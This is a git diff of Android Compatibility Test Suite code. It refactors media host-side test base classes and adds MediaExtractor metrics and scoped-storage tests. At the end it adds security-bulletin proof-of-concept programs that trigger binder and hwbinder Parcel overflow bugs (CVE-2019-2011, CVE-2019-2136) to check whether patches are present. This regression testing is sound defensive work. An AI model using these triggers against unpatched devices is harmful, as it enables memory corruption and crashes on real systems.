+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ /**
+ * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+ * command output from the device. At any time, if the shell command does not output anything
+ * for a period longer than the defined timeout the Tradefed run terminates.
+ */
+ private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ /** Instrumentation test runner argument key used for individual test timeout. */
+ protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+ /**
+ * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+ * timeout it will log the results and proceed with executing the next test.
+ */
+ private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Runs tests on the device.
+ *
+ * @param pkgName The test package file name that contains the test.
+ * @param testClassName The class name to test within the test package. If {@code null}, runs
+ * all test classes in the package.
+ * @param testMethodName Method name to test within the test class. Ignored if {@code
+ * testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+ */
+ protected void runDeviceTests(
+ String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+ throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+ assertTestsPassed(listener.getCurrentRunResults());
+ }
+
+ /**
+ * Excutes shell command and returns the result.
+ *
+ * @param command The command to run.
+ * @return The result from the command. If the result was {@code null}, empty string ("") will
+ * be returned instead. Otherwise, trimmed result will be returned.
+ */
+ protected @Nonnull String executeShellCommand(String command) throws Exception {
+ LogUtil.CLog.d("Starting command " + command);
+ String commandOutput = getDevice().executeShellCommand(command);
+ LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+ return commandOutput != null ? commandOutput.trim() : "";
+ }
+
+ /** Installs the app with the given {@code appFileName}. */
+ protected void installApp(String appFileName)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ LogUtil.CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ String result =
+ getDevice()
+ .installPackage(
+ buildHelper.getTestFile(appFileName),
+ /* reinstall= */ true,
+ /* grantPermissions= */ true,
+ "-t"); // Signals that this is a test APK.
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+ protected RemoteAndroidTestRunner getTestRunner(
+ String pkgName, String testClassName, String testMethodName) {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+ testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ testRunner.addInstrumentationArg(
+ TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+ return testRunner;
+ }
+
+ /**
+ * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+ *
+ * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+ */
+ protected void assertTestsPassed(TestRunResult testRunResult) {
+ if (testRunResult.isRunFailure()) {
+ throw new AssertionError(
+ "Failed to successfully run device tests for "
+ + testRunResult.getName()
+ + ": "
+ + testRunResult.getRunFailureMessage());
+ }
+ if (testRunResult.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (testRunResult.hasFailedTests()) {
+ // Build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ testRunResult.getTestResults().entrySet()) {
+ if (!resultEntry
+ .getValue()
+ .getStatus()
+ .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+ }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
/**
* Base class for host-side tests for multi-user aware media APIs.
*/
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- /**
- * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
- * command output from the device. At any time, if the shell command does not output anything
- * for a period longer than the defined timeout the Tradefed run terminates.
- */
- private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
- /**
- * Instrumentation test runner argument key used for individual test timeout
- **/
- protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
- /**
- * Sets timeout (in milliseconds) that will be applied to each test. In the
- * event of a test timeout it will log the results and proceed with executing the next test.
- */
- private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
@@ -78,7 +59,6 @@
*/
protected static final int USER_SYSTEM = 0;
- private IBuildInfo mCtsBuild;
private String mPackageVerifier;
private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
"0",
USER_ALL);
- mExistingUsers = new ArrayList();
+ mExistingUsers = new ArrayList<>();
int primaryUserId = getDevice().getPrimaryUserId();
mExistingUsers.add(primaryUserId);
mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
super.tearDown();
}
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
/**
* Installs the app as if the user of the ID {@param userId} has installed the app.
*
@@ -165,20 +140,6 @@
result);
}
- /**
- * Excutes shell command and returns the result.
- *
- * @param command command to run.
- * @return result from the command. If the result was {@code null}, empty string ("") will be
- * returned instead. Otherwise, trimmed result will be returned.
- */
- protected @Nonnull String executeShellCommand(final String command) throws Exception {
- CLog.d("Starting command " + command);
- String commandOutput = getDevice().executeShellCommand(command);
- CLog.d("Output for command " + command + ": " + commandOutput);
- return commandOutput != null ? commandOutput.trim() : "";
- }
-
private int createAndStartUser(String extraParam) throws Exception {
String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
* {@code null}.
* @param userId user ID to run the tests as.
*/
- protected void runDeviceTestsAsUser(
+ protected void runDeviceTests(
String pkgName, @Nullable String testClassName,
@Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, RUNNER, getDevice().getIDevice());
- testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- testRunner.addInstrumentationArg(
- TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new AssertionError("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new AssertionError("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // Build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
+ assertTestsPassed(result);
}
/**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+ /** Package name of the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+ /** Name of the APK that contains the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+ /** Fully qualified class name for the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_CLASS =
+ "android.media.cts.MediaExtractorDeviceSideTest";
+
+ private static final long CONFIG_ID = "cts_config".hashCode();
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ installApp(DEVICE_SIDE_TEST_APK);
+ removeConfig(); // Clear existing configs.
+ createAndUploadConfig();
+ getAndClearReportList(); // Clear existing reports.
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ removeConfig();
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ }
+
+ // Tests.
+
+ public void testMediaMetricsEntryPointSdk() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+ }
+
+ public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+ }
+
+ public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+ runDeviceTests(
+ DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+ assertThat(getMediaExtractorReportedEntryPoint())
+ .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+ }
+
+ // Internal methods.
+
+ /** Removes any existing config with id {@link #CONFIG_ID}. */
+ private void removeConfig() throws Exception {
+ getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+ }
+
+ /** Creates the statsd config and passes it to statsd. */
+ private void createAndUploadConfig() throws Exception {
+ StatsdConfig.Builder configBuilder =
+ StatsdConfigProto.StatsdConfig.newBuilder()
+ .setId(CONFIG_ID)
+ .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+ .addWhitelistedAtomIds(
+ AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ addAtomEvent(configBuilder);
+ uploadConfig(configBuilder.build());
+ }
+
+ /** Writes the given config into a file and passes is to statsd via standard input. */
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ configFile.deleteOnExit();
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/local/tmp/" + configFile.getName();
+ // Make sure a config file with the same name doesn't exist already.
+ getDevice().deleteFile(remotePath);
+ assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+ getDevice()
+ .executeShellCommand(
+ "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+ getDevice().deleteFile(remotePath);
+ }
+
+ /** Adds an event to the config in order to match MediaParser reported atoms. */
+ private static void addAtomEvent(StatsdConfig.Builder config) {
+ String atomName = "Atom" + System.nanoTime();
+ String eventName = "Event" + System.nanoTime();
+ SimpleAtomMatcher.Builder sam =
+ SimpleAtomMatcher.newBuilder()
+ .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+ config.addAtomMatcher(
+ StatsdConfigProto.AtomMatcher.newBuilder()
+ .setId(atomName.hashCode())
+ .setSimpleAtomMatcher(sam));
+ config.addEventMetric(
+ StatsdConfigProto.EventMetric.newBuilder()
+ .setId(eventName.hashCode())
+ .setWhat(atomName.hashCode()));
+ }
+
+ /**
+ * Returns all MediaParser reported metric events sorted by timestamp.
+ *
+ * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+ */
+ private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+ throws Exception {
+ ConfigMetricsReportList reportList = getAndClearReportList();
+ assertThat(reportList.getReportsCount()).isEqualTo(1);
+ StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+ ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+ report.getMetricsList()
+ .forEach(
+ statsLogReport ->
+ data.addAll(statsLogReport.getEventMetrics().getDataList()));
+ List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+ data.stream()
+ .map(element -> element.getAtom().getMediametricsExtractorReported())
+ .collect(Collectors.toList());
+ // During device boot, services may extract media files. We ensure we only pick up metric
+ // events from our device-side test.
+ mediametricsExtractorReported.removeIf(
+ entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+ assertThat(mediametricsExtractorReported).hasSize(1);
+ return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+ }
+
+ /** Gets a statsd report and removes it from the device. */
+ private ConfigMetricsReportList getAndClearReportList() throws Exception {
+ CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+ getDevice()
+ .executeShellCommand(
+ "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+ receiver);
+ return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+ }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index e4956b0..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -253,7 +253,9 @@
@AppModeFull
@RequiresDevice
- public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+ // Ignored due to b/171012388.
+ public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+ throws Exception {
if (!canCreateAdditionalUsers(1)) {
CLog.logAndDisplay(LogLevel.INFO,
"Cannot create a new user. Skipping multi-user test cases.");
@@ -288,8 +290,7 @@
private void runTestAsUser(String testMethodName, int userId)
throws DeviceNotAvailableException {
- runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
- testMethodName, userId);
+ runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
}
/**
diff --git a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
index 7c9f1fd..68e5f23 100644
--- a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
+++ b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.FlakyTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
@@ -64,6 +65,7 @@
assertFalse(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
}
+ @FlakyTest(bugId = 174668020)
@Test
@AppModeFull
public void testAddPreferredActivity() throws Exception {
@@ -81,6 +83,7 @@
Collections.singletonMap("numPreferredActivities", "1")));
}
+ @FlakyTest(bugId = 174668020)
@Test
@AppModeFull
public void testAddDuplicatedPreferredActivity() throws Exception {
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index e7d17cf..6f8fbc6 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -21,7 +21,7 @@
</target_preparer>
<option name="config-descriptor:metadata" key="component" value="framework" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<option name="test-suite-tag" value="cts" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 646cc01..78e702f 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -104,7 +104,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import android.Manifest;
import android.app.AppOpsManager;
@@ -221,9 +220,6 @@
@Before
public void setup() throws Exception {
- // skips all test cases if FUSE is not active.
- assumeTrue(getBoolean("persist.sys.fuse", false));
-
if (!getContext().getPackageManager().isInstantApp()) {
pollForExternalStorageState();
getExternalFilesDir().mkdirs();
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index b2907e3..7c3524f 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -177,6 +177,16 @@
}
@Test
+ public void testScanDoesntSkipDirtySubtree() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testScanDoesntSkipDirtySubtree");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
public void testOpenOtherPendingFilesFromFuse() throws Exception {
grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
try {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index db52733..1426be2 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -686,6 +686,46 @@
}
@Test
+ public void testScanDoesntSkipDirtySubtree() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ final File nomediaDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File topLevelNomediaFile = new File(nomediaDir, ".nomedia");
+ final File nomediaSubDir = new File(nomediaDir, "child_" + TEST_DIRECTORY_NAME);
+ final File nomediaFileInSubDir = new File(nomediaSubDir, ".nomedia");
+ final File mediaFile1InSubDir = new File(nomediaSubDir, "1_" + IMAGE_FILE_NAME);
+ final File mediaFile2InSubDir = new File(nomediaSubDir, "2_" + IMAGE_FILE_NAME);
+ try {
+ if (!nomediaDir.exists()) {
+ assertTrue(nomediaDir.mkdirs());
+ }
+ if (!nomediaSubDir.exists()) {
+ assertTrue(nomediaSubDir.mkdirs());
+ }
+ assertThat(topLevelNomediaFile.createNewFile()).isTrue();
+ assertThat(nomediaFileInSubDir.createNewFile()).isTrue();
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+
+ // Verify creating a new file in subdirectory sets dirty state, and scanning the top
+ // level nomedia directory will not skip scanning the subdirectory.
+ assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile1InSubDir, nomediaDir);
+
+ // Verify creating a new file in subdirectory sets dirty state, and scanning the
+ // subdirectory will not no-op.
+ assertCreateFileAndScanNomediaDirDoesntNoOp(mediaFile2InSubDir, nomediaSubDir);
+ } finally {
+ nomediaFileInSubDir.delete();
+ mediaFile1InSubDir.delete();
+ mediaFile2InSubDir.delete();
+ topLevelNomediaFile.delete();
+ nomediaSubDir.delete();
+ nomediaDir.delete();
+ // Scan the directory to remove stale db rows.
+ MediaStore.scanFile(getContentResolver(), nomediaDir);
+ }
+ }
+
+ @Test
public void testAndroidMedia() throws Exception {
pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
@@ -749,6 +789,17 @@
}
}
+ private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
+ throws Exception {
+ assertThat(newFile.createNewFile()).isTrue();
+ // File is not added to database yet, but the directory is marked as dirty so that next
+ // scan doesn't no-op.
+ assertThat(getFileRowIdFromDatabase(newFile)).isEqualTo(-1);
+
+ MediaStore.scanFile(getContentResolver(), scanDir);
+ assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
+ }
+
/**
* Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
* and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0451.aac b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
new file mode 100644
index 0000000..7b04e05
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
new file mode 100644
index 0000000..59d60f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2011",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libhidlbase",
+ "libcutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
new file mode 100644
index 0000000..1de147c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <hwbinder/Parcel.h>
+
+using namespace android::hardware;
+
+int main() {
+ int32_t numFds = 1;
+ int32_t numInts = 0;
+ android::status_t err = android::NO_ERROR;
+
+ native_handle_t *nativeHandleSend = native_handle_create(numFds, numInts);
+ Parcel *parcel = new Parcel();
+ err = parcel->writeNativeHandleNoDup(nativeHandleSend);
+ if (err != android::NO_ERROR) {
+ return EXIT_FAILURE;
+ }
+ parcel->setDataPosition(0);
+
+ nativeHandleSend->numInts = 1024;
+
+ const native_handle_t *nativeHandleReceive = nullptr;
+ err = parcel->readNativeHandleNoDup(&nativeHandleReceive);
+ if (err == android::NO_ERROR) {
+ native_handle_t *tempHandle = const_cast<native_handle_t *>(nativeHandleReceive);
+ for (numInts = nativeHandleReceive->numFds; numInts < nativeHandleReceive->numInts;
+ ++numInts) {
+ ++tempHandle->data[numInts];
+ }
+ }
+
+ // The fix is to validate the nativeHandle size and return an error. Hence
+ // if control reaches here, the patch is present. Return EXIT_SUCCESS
+ delete parcel;
+ native_handle_delete(nativeHandleSend);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..7482be3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2136",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+ Parcel parcel;
+ parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+ /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+ parcel.setDataPosition(header_start + header_size);
+ Hence header_start is 4 [sizeof(int32_t)] as we have written
+ Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+ overflow if header_size > INT32_MAX - sizeof(int32_t).
+ */
+ parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+ parcel.setDataPosition(0);
+ Status status;
+ status.readFromParcel(parcel);
+ /** If vulnerability is present, the parcel's data position would be very
+ large. Hence any write to the parcel will trigger a SIGSEGV else the
+ write would pass.
+ */
+ parcel.writeInt32(0);
+ return EXIT_SUCCESS;
+}
